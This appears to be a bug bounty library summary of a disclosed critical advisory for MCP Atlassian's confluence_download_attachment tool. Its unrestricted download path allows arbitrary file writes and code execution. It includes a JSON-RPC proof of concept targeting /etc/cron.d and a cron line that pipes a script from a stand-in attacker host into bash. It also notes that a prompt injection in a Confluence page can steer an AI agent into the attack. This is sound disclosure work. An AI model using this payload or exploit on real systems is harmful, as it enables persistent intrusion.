# MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment

MCP Atlassian's confluence_download_attachment writes attacker-controlled attachment content to any absolute path, enabling cron/authorized_keys injection and RCE.

- Payout: Research
- Severity: critical
- Program: MCP Atlassian
- Found by: yotampe-pluto, gil-maman-p
- Disclosed: 2026-03-10
- CVE: CVE-2026-27825
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xjgw-4wvw-rgm4
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xjgw-4wvw-rgm4
- Tags: area:ai domain:ai impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:python technique:chained technique:source-review vuln:path-traversal vuln:prompt-injection vuln:rce

**Target:** MCP tool confluence_download_attachment (Python server)
**Root cause:** download_path parameter is passed through os.path.abspath with no directory boundary enforcement, then os.makedirs + open(...,'wb') writes to any writable path; same flaw in download_content_attachments target_dir.
**Steps:**
1. Upload a Confluence attachment containing a cron entry: `* * * * * root curl http://attacker.com/shell.sh | bash`
2. Send JSON-RPC `tools/call` for `confluence_download_attachment` with `page_id`, `attachment_id`, and `download_path` set to `/etc/cron.d/mcp-backdoor`
3. Attachment bytes are written verbatim to the target path; scheduler executes within one minute
**How found:** Code review of the tool parameter definition and attachments.py write path, noting os.path.abspath normalizes but does not restrict, and no base download directory is enforced.
**Exploitation:** Attacker with Confluence write access uploads malicious attachment, then invokes the MCP tool (unauthenticated HTTP transport, HOST=0.0.0.0 default) with download_path pointing at /etc/cron.d/, ~/.ssh/authorized_keys, a venv .py module, or ~/.bashrc; content is written verbatim and executed by cron, SSH, import, or login.
**Escalation:** Chains unauthenticated MCP HTTP endpoint + server's embedded Confluence credentials + attacker-controlled attachment content to convert file write into persistent RCE; also reachable via prompt injection from a malicious Confluence page directing an AI agent.
**Insight:** MCP tool parameters that name filesystem paths are a prime RCE surface: check whether abspath/realpath is used as a security control (it isn't) and whether the written content is attacker-influenced via a separate channel like an uploaded attachment.

## Proof of concept (copied exactly from the original report)

**JSON-RPC call writing attachment to /etc/cron.d**

```
{
      "jsonrpc": "2.0",
      "method": "tools/call",
      "params": {
          "name": "confluence_download_attachment",
          "arguments": {
              "page_id": "<page id hosting the malicious attachment>",
              "attachment_id": "<attachment id>",
              "download_path": "/etc/cron.d/mcp-backdoor"
          }
      },
      "id": 1
  }
```

**Cron payload uploaded as attachment**

```
* * * * * root curl http://attacker.com/shell.sh | bash
```

**Unconstrained file write implementation**

```
if not os.path.isabs(target_path):
      target_path = os.path.abspath(target_path)  # normalizes path, no restriction

  os.makedirs(os.path.dirname(target_path), exist_ok=True)  # creates any directory
  with open(target_path, "wb") as f:                        # writes to any writable path
      for chunk in response.iter_content(chunk_size=8192):
          f.write(chunk)
```

